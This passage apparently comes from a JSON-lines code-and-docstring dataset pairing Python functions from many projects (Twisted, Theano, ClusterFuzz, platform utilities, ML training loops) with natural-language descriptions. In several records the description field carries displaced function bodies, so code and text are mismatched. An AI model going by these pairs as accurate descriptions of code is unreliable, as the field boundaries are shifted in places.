ms'))\n\t\tself.add_doublespinbox_control(u'volume', _(u'Volume'),\n\t\t\tmin_val=0, max_val=1, suffix=_(u' x maximum'))\n\t\tself.add_line_edit_control(u'pan', _(u'Panning'),\n\t\t\tinfo=_(u'Positive values toward the right; \"left\" or \"right\" for full panning'))\n\t\tself.add_spinbox_control(u'length', _(u'Length'),\n\t\t\tmin_val=0, max_val=10000000, suffix=_(u' ms'))\n\t\tself.add_line_edit_control(u'duration', _(u'Duration'),\n\t\t\tinfo=_(u'In milliseconds, \"sound\", \"keypress\", or \"mouseclick\"'),", "nl": "See item.synth_runtime.__init__(self, name, experiment, string)qtplugin.__init__(self)def init_edit_widget(self):See qtitem."} {"code": "def artifacts(self, artifacts):\n\n self._artifacts = artifacts\n\n @property", "nl": "Sets the artifacts of this V1alpha1Outputs.Artifacts holds the list of output artifacts produced by a step # noqa: E501:param artifacts: The artifacts of this V1alpha1Outputs. # noqa: E501:type: list[V1alpha1Artifact]"} {"code": "def test_log_shape(shape, capsys, test_df):\n\n @log_step(shape_delta=True)", "nl": "Test logging of shape can be switched on and off@log_step(shape=shape)def do_nothing(df, *args, **kwargs):return dftest_df.pipe(do_nothing)captured = capsys.readouterr()assert (f\"n_obs={test_df.shape[0]}\" in captured.out) == shapeassert (f\"n_col={test_df.shape[1]}\" in captured.out) == shapedef test_log_shape_delta(capsys, test_df):Test logging of shape delta can be switched on and off"} {"code": "def set_bg_color(self, color, file=None):\n if color == DEFAULT_BG:\n self.SGR(49, file=file)\n else:\n self.SGR(48, 2, *Color(color), file=file)\n", "nl": "Writes ANSI sequence to set the background colorcolor: RGB 3-sequence (0.0-1.0 or 0-255 range) or color constant"} {"code": "def execute(path, argv=None, environ=None, command_class=ExternalSearchCommand):\n assert issubclass(command_class, ExternalSearchCommand)\n command_class(path, argv, environ).execute()", "nl": ":param path::type path: basestring:param argv::type: argv: list, tuple, or None:param environ::type environ: dict:param command_class: External search command class to instantiate and execute.:type command_class: type:return::rtype: None"} {"code": "def topicAuthor(self, user, channel, author, date):\n self.sendLine(':%s %d %s %s %s %d' % (\n self.hostname, 333, user, channel, author, date))\n\n", "nl": "Send the author of and time at which a topic was set for the givenchannel.This sends a 333 reply message, which is not part of the IRC RFC.@type user: C{str} or C{unicode}@param user: The user receiving the topic. Only their nickname, notthe full hostmask.@type channel: C{str} or C{unicode}@param channel: The channel for which this information is relevant.@type author: C{str} or C{unicode}@param author: The nickname (without hostmask) of the user who last setthe topic.@type date: C{int}@param date: A POSIX timestamp (number of seconds since the epoch) atwhich the topic was last set."} {"code": "def kvm_flags_to_stresstests(flags):\n tests = set([])\n for f in flags:\n tests |= kvm_map_flags_to_test[f]\n param = \"\"\n for f in tests:\n param += \",\" + f\n return param\n\n", "nl": "Covert [cpu flags] to [tests]:param cpuflags: list of cpuflags:return: Return tests like string."} {"code": "def testRepeatUntilSucceed(self):", "nl": "Can we repeat a behavior until it succeeds?"} {"code": "def nearest_neighbour(dt2: torch.Tensor, sigma2: Number = 1) -> torch.Tensor:\n return (dt2 <= sigma2 ** 2) * 1.\n\n", "nl": "Nearest-neighbour rasterisation function.Sets pixels in the distance transform to 1 if they are less than equal to sigma**2and zero otherwise. Note this doesn't have usable gradients!Args:dt2: the squared distance transformsigma2: the threshold distance (Default value = 1)Returns:the rasterised image"} {"code": "def zoomToActiveLayer(self):\n\n :param path: Path to layer.\n :type path: str\n\n :param base_name: Base name for layer.\n :type base_name: str\n\n :param provider_key: Provider key e.g. 'ogr'\n :type provider_key: str\n \"\"\"", "nl": "Zoom to extent of active layer.passdef addVectorLayer(self, path, base_name, provider_key):Add a vector layer."} {"code": "def register_shape_c_code(type, code, version=()):\n Shape.c_code_and_version[type] = (code, version)\n\n\nclass Shape(gof.Op):\n \"\"\"\n\n _f16_ok = True\n\n c_code_and_version = {}\n\n check_input = False\n __props__ = ()\n", "nl": "Tell Shape Op how to generate C code for a Theano Type.Parameters----------typ : Theano typeIt must be the Theano class itself and not an instance of the class.code : C codeReturns a vector representing the shape for the Theano type 'typ'.Use %(iname)s and %(oname)s for the input and output C variable namesrespectively.versionA number indicating the version of the code, for cache."} {"code": "def __attrs__(self):\n \"\"\"", "nl": "Replaces format directives with callables to get their values.return {'l': self.length,'s': self.start,'e': self.end,'f': self.frames,'m': self.missing,'M': functools.partial(self._get_framerange, self.missing(), missing=True),'d': lambda *x: self.size,'D': self.directory,'p': self._get_padding,'r': functools.partial(self._get_framerange, self.frames(), missing=False),'R': functools.partial(self._get_framerange, self.frames(), missing=True),'h': self.head,'t': self.tail}def __str__(self):return self.format(default_format)def __repr__(self):return '' % str(self)def __getattr__(self, key):return getattr(self[0], key)def __contains__(self, item):super(Sequence, self).__contains__(Item(item))def __setitem__(self, index, item): Used to set a particular element in the sequence"} {"code": "def _build_class_reps_and_covariance_estimates(self, context_features, context_labels):\n\n \"\"\"\n task_covariance_estimate = self.estimate_cov(context_features)\n for c in torch.unique(context_labels):\n class_features = torch.index_select(context_features, 0, self._extract_class_indices(context_labels, c))\n class_rep = mean_pooling(class_features)\n self.class_representations[c.item()] = class_rep\n \"\"\"\n lambda_k_tau = (class_features.size(0) / (class_features.size(0) + 1))\n self.class_precision_matrices[c.item()] = torch.inverse((lambda_k_tau * self.estimate_cov(class_features)) + ((1 - lambda_k_tau) * task_covariance_estimate) \\\n + torch.eye(class_features.size(1), class_features.size(1)).cuda(0))\n", "nl": "Construct and return class level representations and class covariance estimattes for each class in task.:param context_features: (torch.tensor) Adapted feature representation for each image in the context set.:param context_labels: (torch.tensor) Label for each image in the context set.:return: (void) Updates the internal class representation and class covariance estimates dictionary."} {"code": "def get_testcase_directories(testcase_directory, data_directory):\n logs.log('Locating generated test cases.')\n\n testcase_directories = get_testcase_directories(testcase_directory,\n data_directory)\n testcase_file_paths = testcase_manager.get_testcases_from_directories(\n testcase_directories)\n\n bot_testcases_file_path = utils.get_bot_testcases_file_path(data_directory)\n if os.path.exists(bot_testcases_file_path):\n bot_testcases_file_content = utils.read_data_from_file(\n bot_testcases_file_path, eval_data=False)\n shell.remove_file(bot_testcases_file_path)\n if bot_testcases_file_content:\n bot_file_paths = bot_testcases_file_content.splitlines()\n testcase_file_paths += [\n utils.normalize_path(path) for path in bot_file_paths\n ]\n\n generated_testcase_count = len(testcase_file_paths)\n\n generated_testcase_string = (\n 'Generated %d/%d testcases.' % (generated_testcase_count, testcase_count))\n\n logs.log(generated_testcase_string)\n\n if (environment.get_value('COMMAND_OVERRIDE') and\n generated_testcase_count == 0):\n logs.log('No testcases generated. Sleeping for ~30 minutes.')\n time.sleep(random.uniform(1800, 2100))\n\n return (testcase_file_paths, generated_testcase_count,\n generated_testcase_string)\n\n", "nl": "Return the list of directories containing fuzz testcases.testcase_directories = [testcase_directory]# Cloud storage data bundle directory is on NFS. It is a slow file system# and browsing through hundreds of files can overload the server if every# bot starts doing that. Since, we don't create testcases there anyway, skip# adding the directory to the browse list.if not setup.is_directory_on_nfs(data_directory):testcase_directories.append(data_directory)return testcase_directoriesdef get_testcases(testcase_count, testcase_directory, data_directory):Return fuzzed testcases from the data directories."} {"code": "def batch(iterable, n=1):\n l = len(iterable)\n for ndx in range(0, l, n):\n yield iterable[ndx:min(ndx + n, l)]\n\n", "nl": "Split an interable into batches of size `n`. If `n` does not evenly divide`iterable`, the last slice will be smaller.https://stackoverflow.com/questions/8290397/how-to-split-an-iterable-in-constant-size-chunksUsage:```for i in batch(range(0,10), 3):print i[0,1,2][3,4,5][6,7,8][9]```"} {"code": "def __init__(self, payload_width=8, valid_width=1, extra_fields=None):\n\n if extra_fields is None:\n extra_fields = []\n\n self._extra_fields = extra_fields\n\n super().__init__([\n ('valid', valid_width),\n ('ready', 1),\n\n ('first', 1),\n ('last', 1),\n\n ('payload', payload_width),\n *extra_fields\n ])\n\n", "nl": "Parameter:payload_width -- The width of the payload packets."} {"code": "def sub(self) -> str:\n return self[\"claims\"]\n\n @property", "nl": "The UUID of the authenticated user.return self[\"sub\"]@propertydef claims(self) -> Dict[str, str]:The claims that the user has."} {"code": "def assign_methods(self, resource_class):\n assert all([\n x.upper() in VALID_METHODS for x in resource_class.Meta.methods])\n for method in resource_class.Meta.methods:\n\n self._assign_method(\n resource_class,\n method.upper()\n )\n", "nl": "Given a resource_class and it's Meta.methods tuple,assign methods for communicating with that resource.Args:resource_class: A single resource class"} {"code": "def __system_method_help(method_name, **kwargs):\n entry_point = kwargs.get(ENTRY_POINT_KEY)\n protocol = kwargs.get(PROTOCOL_KEY)\n\n method = registry.get_method(method_name, entry_point, protocol)\n if method is None:\n raise RPCInvalidParams(\n \"Unknown method {}. Unable to retrieve its documentation.\".format(\n method_name\n )\n )\n return method.html_doc\n\n\n@rpc_method(name=\"system.multicall\", protocol=Protocol.XML_RPC)", "nl": "Returns the documentation of the given method name.:param method_name: Name of a method available for current entry point (and protocol):param kwargs::return: Documentation text for the RPC method"} {"code": "def run_beam_search(sess, model, vocab, batch):\n enc_states, dec_in_state = model.run_encoder(sess, batch)\n\n hyps = [Hypothesis(tokens=[vocab.word2id(data.START_DECODING)],\n log_probs=[0.0],\n state=dec_in_state,\n attn_dists=[],\n p_gens=[],\n coverage=np.zeros([batch.enc_batch.shape[1]])\n ) for _ in range(FLAGS.beam_size)]\n results = []\n\n steps = 0\n while steps < FLAGS.max_dec_steps and len(results) < FLAGS.beam_size:\n latest_tokens = [h.latest_token for h in hyps]\n latest_tokens = [t if t in range(vocab.size()) else vocab.word2id(\n data.UNKNOWN_TOKEN) for t in latest_tokens]\n states = [h.state for h in hyps]\n prev_coverage = [h.coverage for h in hyps]\n\n (topk_ids, topk_log_probs, new_states, attn_dists, p_gens, new_coverage) = model.decode_onestep(sess=sess,\n batch=batch,\n latest_tokens=latest_tokens,\n enc_states=enc_states,\n dec_init_states=states,\n prev_coverage=prev_coverage)\n\n all_hyps = []\n num_orig_hyps = 1 if steps == 0 else len(hyps)\n for i in range(num_orig_hyps):\n h, new_state, attn_dist, p_gen, new_coverage_i = hyps[i], new_states[i], attn_dists[\n i], p_gens[i], new_coverage[i]\n for j in range(FLAGS.beam_size * 2):\n new_hyp = h.extend(token=topk_ids[i, j],\n log_prob=topk_log_probs[i, j],\n state=new_state,\n attn_dist=attn_dist,\n p_gen=p_gen,\n coverage=new_coverage_i)\n all_hyps.append(new_hyp)\n\n hyps = []\n for h in sort_hyps(all_hyps):\n if h.latest_token == vocab.word2id(data.STOP_DECODING):\n if steps >= FLAGS.min_dec_steps:\n results.append(h)\n else:\n hyps.append(h)\n if len(hyps) == FLAGS.beam_size or len(results) == FLAGS.beam_size:\n break\n\n steps += 1\n\n\n if len(results) == 0:\n results = hyps\n\n hyps_sorted = sort_hyps(results)\n\n return hyps_sorted[0]\n\n", "nl": "Performs beam search decoding on the given example.Args:sess: a tf.Sessionmodel: a seq2seq modelvocab: Vocabulary objectbatch: Batch object that is the same example repeated across the batchReturns:best_hyp: Hypothesis object; the best hypothesis found by beam search."} {"code": "def get_all_controllers():\n try:\n result = utils.run(\"lssubsys\", ignore_status=False)\n controllers_str = result.stdout.strip()\n controller_list = []\n for controller in controllers_str.splitlines():\n controller_sub_list = controller.split(\",\")\n controller_list += controller_sub_list\n except error.CmdError:\n controller_list = ['cpuacct', 'cpu', 'memory', 'cpuset',\n 'devices', 'freezer', 'blkio', 'netcls']\n return controller_list\n\n", "nl": "Get all controllers used in system:return: all used controllers(controller_list)"} {"code": "def __init__(self, endpoint_data):\n if 'partitions' not in endpoint_data:\n raise ValueError('Missing \"partitions\" in endpoint data')\n self._endpoint_data = endpoint_data\n", "nl": ":param endpoint_data: A dict of partition data."} {"code": "def fuzz_test_20pct(self):\n for _ in range(self.reps):\n fuzzed = _fuzz(choice(self.basewords), fuzziness=1)\n\n if EXTREME_TEST:\n algs = list(algorithms.keys())\n else:\n algs = sample(list(algorithms.keys()), k=5)\n\n for algo in algs:\n try:\n algorithms[algo](fuzzed)\n except Exception as inst:\n self.fail(\n 'Exception \"{}\" thrown by {} for word: {}'.format(\n inst, algo, fuzzed\n )\n )\n", "nl": "Fuzz test fingerprint algorithms against 20% fuzzed words.for _ in range(self.reps):fuzzed = _fuzz(choice(self.basewords), fuzziness=0.2)if EXTREME_TEST:algs = list(algorithms.keys())else:algs = sample(list(algorithms.keys()), k=5)for algo in algs:try:algorithms[algo](fuzzed)except Exception as inst:self.fail('Exception \"{}\" thrown by {} for word: {}'.format(inst, algo, fuzzed))def fuzz_test_100pct(self):Fuzz test fingerprint algorithms against 100% fuzzed words."} {"code": "def __getattr__( self, aname ):\n if( aname == \"lineno\" ):\n return lineno( self.loc, self.pstr )\n elif( aname in (\"col\", \"column\") ):\n return col( self.loc, self.pstr )\n elif( aname == \"line\" ):\n return line( self.loc, self.pstr )\n else:\n raise AttributeError(aname)\n", "nl": "supported attributes by name are:- lineno - returns the line number of the exception text- col - returns the column number of the exception text- line - returns the line containing the exception text"} {"code": "def get_debug_link_file(library_path):\n\n data = read_elf_section(library_path, \".note.gnu.build-id\")\n if not data:\n return None\n index = data.find(b\"GNU\")\n assert index != -1\n index += 4\n return \"\".join([\"%02x\" % c for c in bytearray(data[index:])])\n\n", "nl": "Returns the path of the linked debug library or Nonelibrary_path = os.path.abspath(library_path)data = read_elf_section(library_path, \".gnu_debuglink\")if not data:return Nonefilename = data.split(b\"\\x00\", 1)[0].decode(\"ascii\")debug_dir = get_debug_file_directory()orig_path = os.path.dirname(library_path).lstrip(os.path.sep)return os.path.join(debug_dir, orig_path, filename)def read_elf_section(library_path, name):try:data = subprocess.check_output([\"readelf\", \"-x\", name,library_path],stderr=subprocess.STDOUT)except subprocess.CalledProcessError:return b\"\"def tobin(s):d = b\"\"for i in range(0, len(s), 2):d += bytes([int(s[i:i + 2].decode(\"ascii\"), 16)])return dcontent = b\"\"for line in data.splitlines():parts = line.split(None, 1)if len(parts) != 2 or not parts[0].startswith(b\"0x\"):continuecontent += parts[1][:35].replace(b\" \", b\"\")return tobin(content)def get_debug_build_id(library_path):Returns the build id for the library path or None"} {"code": "def setup(self):\n\n in vec2 in_vert;\n in vec2 in_uv;\n out vec2 v_uv;\n\n void main() {\n gl_Position = vec4(in_vert, 0.0, 1.0);\n v_uv = in_uv;\n }\n ''',\n\n uniform sampler2D tex;\n uniform float angle;\n uniform float zoom;\n\n in vec2 v_uv;\n out vec4 f_color;\n\n void main() {\n mat3 rotate = mat3(\n cos(angle), -sin(angle), 0.5,\n sin(angle), cos(angle), 0.5,\n 0.0, 0.0, 1.0\n );\n mat3 scale = mat3(\n 1.0, 0.0, 0.0,\n 0.0, 0.5, 0.0,\n 0.0, 0.0, 1.0\n );\n f_color = texture(tex, (rotate * scale * vec3(v_uv + vec2(-0.5, -0.5), 1.0)).xy * zoom);\n }\n ''',", "nl": " Set up the game and initialize the variables. # Offscreen stuffself.program = self.ctx.program(vertex_shader="} {"code": "def stop(self):\n return self._activity\n", "nl": "Stop this Tracer.# Get the active tracer callback before setting the stop flag to be# able to detect if the tracer was changed prior to stopping it.tf = sys.gettrace()# Set the stop flag. The actual call to sys.settrace(None) will happen# in the self._trace callback itself to make sure to call it from the# right thread.self.stopped = Trueif self.threading and self.thread.ident != self.threading.current_thread().ident:# Called on a different thread than started us: we can't unhook# ourselves, but we've set the flag that we should stop, so we# won't do any more tracing.#self.log(\"~\", \"stopping on different threads\")returnif self.warn:# PyPy clears the trace function before running atexit functions,# so don't warn if we are in atexit on PyPy and the trace function# has changed to None.dont_warn = (env.PYPY and env.PYPYVERSION >= (5, 4) and self.in_atexit and tf is None)if (not dont_warn) and tf != self._cached_bound_method_trace: # pylint: disable=comparison-with-callableself.warn(\"Trace function changed, data is likely wrong: \" +f\"{tf!r} != {self._cached_bound_method_trace!r}\",slug=\"trace-changed\",)def activity(self):Has there been any activity?"} {"code": "def empty(self):\n self._storage = []\n", "nl": "**Description**Removes all data from an ExperienceReplay.**Example**~~~pythonreplay.empty()~~~"} {"code": "def found(location):\n to(location, falcon.HTTP_303)\n\n", "nl": "Redirects to the specified location using HTTP 302 status codeto(location, falcon.HTTP_302)def see_other(location):Redirects to the specified location using HTTP 303 status code"} {"code": "def doChatty(self):\n return self.chipId", "nl": "Make Dale's chatter sync with Chip's.#self.fsm.request('Chatty')passdef getChipId(self):Return chip's doId."} {"code": "def simple_extract_stack(f=None, limit=None, skips=[]):\n if f is None:\n try:\n raise ZeroDivisionError\n except ZeroDivisionError:\n f = sys.exc_info()[2].tb_frame.f_back\n if limit is None:\n if hasattr(sys, 'tracebacklimit'):\n limit = sys.tracebacklimit\n trace = []\n n = 0\n while f is not None and (limit is None or n < limit):\n lineno = f.f_lineno\n co = f.f_code\n filename = co.co_filename\n name = co.co_name\n line = linecache.getline(filename, lineno, f.f_globals)\n if line:\n line = line.strip()\n else:\n line = None\n f = f.f_back\n\n if len(trace) == 0:\n rm = False\n for p in skips:\n if p in filename and 'tests' not in filename:\n rm = True\n break\n if rm:\n continue\n trace.append((filename, lineno, name, line))\n n = n + 1\n trace.reverse()\n return trace\n\n", "nl": "This is traceback.extract_stack from python 2.7 with this change:- Comment the update of the cache.- Skip internal stack trace level.The update of the cache call os.stat to verify is the cache is upto date. This take too much time on cluster.limit - The number of stack level we want to return. If None, meanall what we can.skips - partial path of stack level we don't want to keep and count.When we find one level that isn't skipped, we stop skipping."} {"code": "def test_prefix_preservation_1(self):\n a = \"\"\"\n self.check(b, a)\n", "nl": "b = for a in b:foo(a)a.next()"} {"code": "def _trace_path(self, dir_path):\n Returns list of rewards and episode lengths\n\n Args:\n policy (Policy)\n num_episodes (int)\n label (str)\n test_env (bool)\n log (bool)\n trace (bool)\n control_steps (int)\n\n Returns:\n avg_return (float)\n \"\"\"", "nl": "Construct a path to a trace file, based on # of train steps.return join(dir_path, str(self.train_state.train_steps))@propertydef train_state(self):return self._train_state@train_state.setterdef train_state(self, ts):self._train_state = ts@propertydef neural_policy(self):return self.train_state.model@propertydef program_policy(self):return self._program_policydef train(self):config = self.config# TODO(kelvin): is this accessing the right train_state?take_grad_step = lambda loss: self._take_grad_step(self.train_state, loss)# track best reward, for early stoppingbest_avg_reward_train = float('-inf')best_bc_ckpt = None # checkpoint number (grad steps) of the checkpoint with best reward for BCpretraining_stage = self.config.train.behavioral_cloning# indicates whether we are still in pre-training stage# switches to False once pretraining starts to overfit# (best_bc_reward begins to drop)for control_step in tqdm(xrange(config.train.max_control_steps), desc='Outer training loop'):# plot number of grad steps taken against control steps# - control_step is used to determine the timing of various events# - train_state.train_steps is the number of grad steps we've takenif control_step % 10 == 0:self.tb_logger.log_value('grad_steps',self.train_state.train_steps, step=control_step)self.metadata['control_steps'] = control_stepif pretraining_stage:# Behavioral cloningself._behavioral_cloning(self.neural_policy, self._demonstrations)else:# explore and update program policyif (control_step % config.explore.program == 0) and \\self.program_policy is not None:episodes = self._explore(self.program_policy,'explore_program',control_step)if config.train.reinforce_program:self.program_policy.update_from_episodes(episodes,self._gamma, take_grad_step)# explore and update neural policyif control_step % config.explore.neural == 0:episodes = self._explore(self.neural_policy,'explore_neural',control_step)if config.train.reinforce_neural:self.neural_policy.update_from_episodes(episodes,self._gamma, take_grad_step)# update neural policy from replay bufferif control_step % config.train.replay == 0:log_replay = (control_step % config.log.replay == 0)trace_replay = (control_step % config.log.trace_replay == 0)self._replay_episodes(self.neural_policy, control_step,log_replay, trace_replay)# evaluate program and neural policyif control_step % config.log.evaluate == 0:trace_evaluate = (control_step % config.log.trace_evaluate == 0)self._evaluate(self.neural_policy,config.log.episodes_to_evaluate_small, 'test',test_env=True,log=True, trace=trace_evaluate, control_steps=control_step)if self.program_policy is not None:self._evaluate(self.program_policy,config.log.episodes_to_evaluate_small, 'test_program',test_env=True,log=True, trace=trace_evaluate, control_steps=control_step)# bigger evaluation of neural policyif (control_step % config.log.evaluate_big == 0) and (control_step != 0):avg_reward_test = self._evaluate(self.neural_policy,config.log.episodes_to_evaluate_big, 'test_big',test_env=True,log=True, trace=False, control_steps=control_step)# (don't trace, because it is too large)avg_reward_train = self._evaluate(self.neural_policy,config.log.episodes_to_evaluate_big, 'train_big',test_env=False, # eval on TRAIN environmentlog=True, trace=False, control_steps=control_step)if pretraining_stage:if avg_reward_train > best_avg_reward_train:print 'PRE-TRAINING -- new high at step {}: {:.2f}'.format(control_step, avg_reward_train)self.metadata['stats.best_avg_reward_train_bc.value'] = avg_reward_trainself.metadata['stats.best_avg_reward_train_bc.hit_time'] = control_step# save model with best BC rewardif best_bc_ckpt is not None:# delete old best checkpointself.checkpoints.delete(best_bc_ckpt)# save new best checkpointself.checkpoints.save(self.train_state)best_bc_ckpt = self.train_state.train_stepselif avg_reward_train <= best_avg_reward_train:print 'PRE-TRAINING -- overfit at step {}: {:.2f} (best={:.2f})'.format(control_step, avg_reward_train, best_avg_reward_train)# if latest reward is worse than best, stop pretrainingpretraining_stage = False# roll back to best behavior cloning checkpoint# print 'PRE-TRAINING -- rolling back to best at {}'.format(best_bc_ckpt)# self.train_state = self.checkpoints.load(best_bc_ckpt,# self.train_state.model,# self.train_state.optimizer)## # completely reset the optimizer# new_optimizer = optim.Adam(self.train_state.model.parameters(),# lr=config.train.learning_rate)# self.train_state.optimizer = new_optimizerif avg_reward_train > best_avg_reward_train:best_avg_reward_train = avg_reward_train# note that we are saving avg_reward_test here!self.metadata['stats.best_avg_reward.value'] = avg_reward_testself.metadata['stats.best_avg_reward.hit_time'] = control_step# stop training if we reach max rewardif np.isclose(avg_reward_train, 1.0):break# save neural policyif control_step % config.log.save == 0 and control_step != 0:print 'Saving checkpoint'self.checkpoints.save(self.train_state)def _filter_episodes(self, episodes):return [ep for ep in episodes if not isinstance(ep[-1].action, MiniWoBTerminate)]def _explore(self, policy, label, control_step):# roll out episodes using basic generator and program policyepisodes = self._basic_episode_generator(policy, test_env=False,test_policy=False)# Update replay buffer (excluding episodes that ended with MiniWoBTerminate)self._replay_buffer.extend(self._filter_episodes(episodes))# log episodesif control_step % self.config.log.explore == 0:trace_explore = control_step % self.config.log.trace_explore == 0self._episode_logger(episodes, label,control_step, trace_explore)return episodesdef _evaluate(self, policy, num_episodes, label, test_env,log, trace, control_steps):Evaluates policy with test time flag set to True on some episodes."} {"code": "def message_class(self) -> Type[Message]:\n return self._message_class\n\n @property", "nl": "Get the message class.:return: the message class"} {"code": "def __init__(self, parent, normal_color, night_color):\n QWidget.__init__(self, parent)\n self.parent = parent\n self.normal = ColorSwatch(self, normal_color, self.update_normal, 'Normal Mode Color', verify_colors=True)\n self.night = ColorSwatch(self, night_color, self.update_night, 'Night Mode Color')\n self.grid = QGridLayout()\n self.fill_layout()\n self.setLayout(self.grid)\n", "nl": "Args:parent: ColorMapWindow instancenormal_color: name or code of code to use in normal modenight_color: name or code of code to use in night mode"} {"code": "def test_unchanged_1(self):\n self.unchanged(s)\n", "nl": "s = def foo(): passself.unchanged(s)def test_unchanged_2(self):s = def foo(a, b, c): pass"} {"code": "def test_item_split_ignores_whitespace(self):\n", "nl": "Expect form xx_XX returned.self.assertEqual([('en_US', 1.0), ('el_GR', 1.0), ('fr', 1.0)],locales.parse_accept_language('en-US, el-gr , fr '))def test_rejects_invalid_syntax(self):self.assertEqual([('el', 1.0), ('fr', 1.0)],locales.parse_accept_language('el,-us,en-,12-34,fr'))class LocalesTests(unittest.TestCase):Unit tests for the locale helper functions."} {"code": "def _start_process(args, wait=False, **kwargs):\n process = Popen(args=args, **kwargs)\n\n if wait:\n process.wait()\n\n return process\n\n", "nl": "Start a new process and return a Popen instance"} {"code": "def reset_parameters(self):", "nl": "Reset parameters.This initialization follows official implementation manner.https://github.com/descriptinc/melgan-neurips/blob/master/mel2wav/modules.py"} {"code": "def pi_grad(self, v, vp, phase=False, expand=False):\n unsqueezed = v.dim() < 2 or vp.dim() < 2\n v = (v.unsqueeze(0) if v.dim() < 2 else v).to(self.rbm_am.weights_W)\n vp = (vp.unsqueeze(0) if vp.dim() < 2 else vp).to(self.rbm_am.weights_W)\n\n if expand:\n arg_real = 0.5 * (\n F.linear(v, self.rbm_am.weights_U, self.rbm_am.aux_bias).unsqueeze_(1)\n + F.linear(vp, self.rbm_am.weights_U, self.rbm_am.aux_bias).unsqueeze_(\n 0\n )\n )\n arg_imag = 0.5 * (\n F.linear(v, self.rbm_ph.weights_U).unsqueeze_(1)\n - F.linear(vp, self.rbm_ph.weights_U).unsqueeze_(0)\n )\n else:\n arg_real = self.rbm_am.mixing_term(v + vp)\n arg_imag = self.rbm_ph.mixing_term(v - vp)\n\n sig = cplx.sigmoid(arg_real, arg_imag)\n\n batch_sizes = (\n (v.shape[0], vp.shape[0], *v.shape[1:-1]) if expand else (*v.shape[:-1],)\n )\n\n W_grad = torch.zeros_like(self.rbm_am.weights_W).expand(*batch_sizes, -1, -1)\n vb_grad = torch.zeros_like(self.rbm_am.visible_bias).expand(*batch_sizes, -1)\n hb_grad = torch.zeros_like(self.rbm_am.hidden_bias).expand(*batch_sizes, -1)\n\n if phase:\n temp = (v.unsqueeze(1) - vp.unsqueeze(0)) if expand else (v - vp)\n sig = cplx.scalar_mult(sig, cplx.I)\n\n ab_grad_real = torch.zeros_like(self.rbm_ph.aux_bias).expand(\n *batch_sizes, -1\n )\n ab_grad_imag = ab_grad_real.clone()\n else:\n temp = (v.unsqueeze(1) + vp.unsqueeze(0)) if expand else (v + vp)\n\n ab_grad_real = cplx.real(sig)\n ab_grad_imag = cplx.imag(sig)\n\n U_grad = 0.5 * torch.einsum(\"c...j,...k->c...jk\", sig, temp)\n U_grad_real = cplx.real(U_grad)\n U_grad_imag = cplx.imag(U_grad)\n\n vec_real = [\n W_grad.view(*batch_sizes, -1),\n U_grad_real.view(*batch_sizes, -1),\n vb_grad,\n hb_grad,\n ab_grad_real,\n ]\n vec_imag = [\n W_grad.view(*batch_sizes, -1).clone(),\n U_grad_imag.view(*batch_sizes, -1),\n vb_grad.clone(),\n hb_grad.clone(),\n ab_grad_imag,\n ]\n\n if unsqueezed and not expand:\n vec_real = [grad.squeeze_(0) for grad in vec_real]\n vec_imag = [grad.squeeze_(0) for grad in vec_imag]\n\n return cplx.make_complex(\n torch.cat(vec_real, dim=-1), torch.cat(vec_imag, dim=-1)\n )\n", "nl": "rCalculates the gradient of the :math:`\\Pi` matrix withrespect to the amplitude RBM parameters for two input states:param v: One of the visible states, :math:`\\sigma`:type v: torch.Tensor:param vp: The other visible state, :math`\\sigma'`:type vp: torch.Tensor:param phase: Whether to compute the gradients for the phase RBM (`True`)or the amplitude RBM (`False`):type phase: bool:returns: The matrix element of the gradient given by:math:`\\langle\\sigma|\\nabla_\\lambda\\Pi|\\sigma'\\rangle`:rtype: torch.Tensor"} {"code": "def addDocEntity(self, name, type, ExternalID, SystemID, content):\n ret = libxml2mod.xmlAddDtdEntity(self._o, name, type, ExternalID, SystemID, content)\n if ret is None:raise treeError('xmlAddDtdEntity() failed')\n __tmp = xmlEntity(_obj=ret)\n return __tmp\n", "nl": "Register a new entity for this document. ret = libxml2mod.xmlAddDocEntity(self._o, name, type, ExternalID, SystemID, content)if ret is None:raise treeError('xmlAddDocEntity() failed')__tmp = xmlEntity(_obj=ret)return __tmpdef addDtdEntity(self, name, type, ExternalID, SystemID, content):Register a new entity for this document DTD external subset. "} {"code": "def __repr__(self):\n return \"{0}.get_ldap_filter({1!r})\".format(__name__, self.__str__())\n", "nl": "String description"} {"code": "defaults.\n versioninfo, machine) with versioninfo being a tuple (version,\n dev_stage, non_release_version).\n\n Entries which cannot be determined are set to the parameter values", "nl": "if sys.platform not in supported_platforms:return system, release, version# Try some common cmd stringsimport subprocessfor cmd in ('ver', 'command /c ver', 'cmd /c ver'):try:info = subprocess.check_output(cmd,stderr=subprocess.DEVNULL,text=True,shell=True)except (OSError, subprocess.CalledProcessError) as why:#print('Command %s failed: %s' % (cmd, why))continueelse:breakelse:return system, release, version# Parse the outputinfo = info.strip()m = _ver_output.match(info)if m is not None:system, release, version = m.groups()# Strip trailing dots from version and releaseif release[-1] == '.':release = release[:-1]if version[-1] == '.':version = version[:-1]# Normalize the version and build strings (eliminating additional# zeros)version = _norm_version(version)return system, release, version_WIN32_CLIENT_RELEASES = {(5, 0): \"2000\",(5, 1): \"XP\",# Strictly, 5.2 client is XP 64-bit, but platform.py historically# has always called it 2003 Server(5, 2): \"2003Server\",(5, None): \"post2003\",(6, 0): \"Vista\",(6, 1): \"7\",(6, 2): \"8\",(6, 3): \"8.1\",(6, None): \"post8.1\",(10, 0): \"10\",(10, None): \"post10\",}# Server release name lookup will default to client names if necessary_WIN32_SERVER_RELEASES = {(5, 2): \"2003Server\",(6, 0): \"2008Server\",(6, 1): \"2008ServerR2\",(6, 2): \"2012Server\",(6, 3): \"2012ServerR2\",(6, None): \"post2012ServerR2\",}def win32_is_iot():return win32_edition() in ('IoTUAP', 'NanoServer', 'WindowsCoreHeadless', 'IoTEdgeOS')def win32_edition():try:try:import winregexcept ImportError:import _winreg as winregexcept ImportError:passelse:try:cvkey = r'SOFTWARE\\Microsoft\\Windows NT\\CurrentVersion'with winreg.OpenKeyEx(winreg.HKEY_LOCAL_MACHINE, cvkey) as key:return winreg.QueryValueEx(key, 'EditionId')[0]except OSError:passreturn Nonedef win32_ver(release='', version='', csd='', ptype=''):try:from sys import getwindowsversionexcept ImportError:return release, version, csd, ptypewinver = getwindowsversion()maj, min, build = winver.platform_version or winver[:3]version = '{0}.{1}.{2}'.format(maj, min, build)release = (_WIN32_CLIENT_RELEASES.get((maj, min)) or_WIN32_CLIENT_RELEASES.get((maj, None)) orrelease)# getwindowsversion() reflect the compatibility mode Python is# running under, and so the service pack value is only going to be# valid if the versions match.if winver[:2] == (maj, min):try:csd = 'SP{}'.format(winver.service_pack_major)except AttributeError:if csd[:13] == 